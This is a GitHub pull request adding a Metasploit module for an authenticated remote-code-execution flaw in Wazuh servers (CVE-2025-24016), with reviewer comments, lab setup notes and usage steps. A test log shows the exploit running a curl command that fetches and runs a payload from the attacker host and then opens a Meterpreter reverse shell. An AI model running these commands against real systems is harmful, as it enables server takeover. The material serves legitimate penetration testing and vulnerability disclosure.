-
Notifications
You must be signed in to change notification settings - Fork 14.4k
Wazuh Server authenticated RCE [CVE-2025-24016] #20387
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Conversation
Hey @h00die-gr3y, interesting! Actually I had tried to work on this CVE a few weeks ago but no way to trigger the RCE, did you also encounter this issue? If so, how did you make your lab work? Thank you |
Ha @Chocapikk, it is indeed a bit complicated to trigger the vulnerable code. It only gets triggered when you leverage the distributed API function. So you need a Wazuh multi-node cluster configuration as an installation baseline to make this work. Module in action
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for the module @h00die-gr3y. Two minor comments, testing was as expected.
msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > set rhost 172.16.199.136
rhost => 172.16.199.136
msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > set rport 56000
rport => 56000
msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > set verbose true
verbose => true
msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > set fetch_writable_dir /tmp
fetch_writable_dir => /tmp
rmsf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > run
[*] Command to run on remote host: curl -so /tmp/TOEawJUtQ http://172.16.199.1:8080/aABri8OxO6gqI8OwLitk4g;chmod +x /tmp/TOEawJUtQ;/tmp/TOEawJUtQ&
[*] Fetch handler listening on 172.16.199.1:8080
[*] HTTP server started
[*] Adding resource /aABri8OxO6gqI8OwLitk4g
[*] Started reverse TCP handler on 172.16.199.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Wazuh version 4.8.2
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Client 172.16.199.136 requested /aABri8OxO6gqI8OwLitk4g
[*] Sending payload to 172.16.199.136 (curl/8.5.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 172.16.199.136
[*] Meterpreter session 1 opened (172.16.199.1:5555 -> 172.16.199.136:33950) at 2025-07-21 16:30:21 -0700
meterpreter > getuid
Server username: wazuh
meterpreter > sysinfo
Computer : wazuh.master
OS : (Linux 6.2.0-34-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
documentation/modules/exploit/linux/http/wazuh_auth_rce_cve_2025_24016.md
Outdated
Show resolved
Hide resolved
Gents, any update? |
Wazuh is a free and open source platform used for threat prevention, detection, and response.
Starting in version
4.4.0
and prior to version4.9.1
, an unsafe deserialization vulnerability allows for remote code execution on Wazuh servers.DistributedAPI parameters are a serialized as JSON and deserialized using
as_wazuh_object
(in/var/ossec/framework/wazuh/core/cluster/common.py
). If an attacker manages to inject an unsanitized dictionary in DAPI request/response, they can forge an unhandled exception (__unhandled_exc__
) to evaluate arbitrary python code.The vulnerability can be triggered by anybody with API access (compromised dashboard or Wazuh servers in the cluster) or, in certain configurations, even by a compromised agent.
The following Wazuh release has been tested:
See also this attackerkb article for more info.
Installation steps to install the Wazuh Server application
Docker
on your preferred platform.docker-compose.yml
file in themulti-node
directory by adding the line- "56000:55000"
to the ports configuration of the wazuh.worker section to expose port55000
to the outside world on port56000
.4.8.2
version in theyml
file to pull different versions.docker-compose up -d
to install and run the Wazuh server cluster environment.https://localhost
with an active Wazuh server cluster running.docker-compose down
.You are now ready to test the module.
IMPORTANT NOTE:
This vulnerability can only be triggered in a Wazuh multi-node cluster configuration, because it needs the distributed API function. It is important to understand that the worker-server port (
55000
) should be exposed to the outside world in order to trigger this vulnerability. In the above lab setup, it is exposed on port56000
(see thedocker-compose.yml
file)Using it directly on the master-server port (
55000
) will not work because the DAPI request is not leveraged in this case, hence the vulnerable code will not be triggered.Verification Steps
msfconsole
use exploit/linux/http/wazuh_auth_rce_cve_2025_24016
set rhosts <ip-target>
set rport <port>
set lhost <attacker-ip>
set target <0=Unix/Linux Command>
exploit
you should get a
reverse shell
orMeterpreter
session depending on thepayload
andtarget
settings.